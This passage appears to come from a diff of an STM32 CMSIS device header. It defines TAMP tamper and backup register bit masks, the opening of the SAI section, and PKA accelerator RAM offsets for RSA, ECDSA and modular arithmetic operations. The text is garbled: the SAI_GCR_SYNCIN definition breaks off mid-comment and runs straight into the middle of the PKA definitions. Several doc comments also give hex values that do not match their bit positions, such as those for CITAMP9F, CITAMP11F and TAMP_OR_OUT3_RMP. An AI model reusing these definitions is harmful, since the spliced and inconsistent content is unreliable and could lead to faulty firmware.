TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21U) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22U) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23U) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24U) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26U) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27U) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28U) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk +#define TAMP_SCR_CITAMP15F_Pos (30U) +#define TAMP_SCR_CITAMP15F_Msk (0x1UL << TAMP_SCR_CITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SCR_CITAMP15F TAMP_SCR_CITAMP15F_Msk +/******************** Bits definition for TAMP_COUNT1R register ***************/ +#define TAMP_COUNT1R_COUNT_Pos (0U) +#define TAMP_COUNT1R_COUNT_Msk (0xFFFFFFFFUL << TAMP_COUNT1R_COUNT_Pos)/*!< 0xFFFFFFFF */ +#define TAMP_COUNT1R_COUNT TAMP_COUNT1R_COUNT_Msk + +/******************** Bits definition for TAMP_OR register ***************/ +#define TAMP_OR_OUT3_RMP_Pos (1U) +#define TAMP_OR_OUT3_RMP_Msk (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00000006 */ +#define TAMP_OR_OUT3_RMP TAMP_OR_OUT3_RMP_Msk +#define TAMP_OR_OUT3_RMP_0 (0x1UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00100000 */ +#define TAMP_OR_OUT3_RMP_1 (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00200000 */ +#define TAMP_OR_OUT5_RMP_Pos (3U) +#define TAMP_OR_OUT5_RMP_Msk (0x1UL << TAMP_OR_OUT5_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_OUT5_RMP TAMP_OR_OUT5_RMP_Msk +#define TAMP_OR_IN2_RMP_Pos (8U) +#define TAMP_OR_IN2_RMP_Msk (0x1UL << TAMP_OR_IN2_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN2_RMP TAMP_OR_IN2_RMP_Msk +#define TAMP_OR_IN3_RMP_Pos (9U) +#define TAMP_OR_IN3_RMP_Msk (0x1UL << TAMP_OR_IN3_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN3_RMP TAMP_OR_IN3_RMP_Msk +#define TAMP_OR_IN4_RMP_Pos (10U) +#define TAMP_OR_IN4_RMP_Msk (0x1UL << TAMP_OR_IN4_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN4_RMP TAMP_OR_IN4_RMP_Msk + +/******************** Bits definition for TAMP_ERCFG register ***************/ +#define TAMP_ERCFGR_ERCFG0_Pos (0U) +#define TAMP_ERCFGR_ERCFG0_Msk (0x1UL << TAMP_ERCFGR_ERCFG0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR_ERCFG0 TAMP_ERCFGR_ERCFG0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0U) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0U) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0U) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0U) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0U) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0U) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0U) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0U) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0U) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0U) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0U) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0U) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0U) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0U) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0U) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0U) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0U) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0U) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0U) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0U) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0U) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0U) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0U) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0U) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0U) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0U) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0U) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0U) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0U) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0U) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0U) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0U) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Serial Audio Interface */ +/* */ +/******************************************************************************/ +/******************** Bit definition for SAI_GCR register *******************/ +#define SAI_GCR_SYNCIN_Pos (0U) +#define SAI_GCR_SYNCIN_Msk (0x3UL << SAI_GCR_SYNCIN_Pos) /*!< 0x00000003 */ +#define SAI_GCR_SYNCIN SAI_GCR_SYNCIN_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS 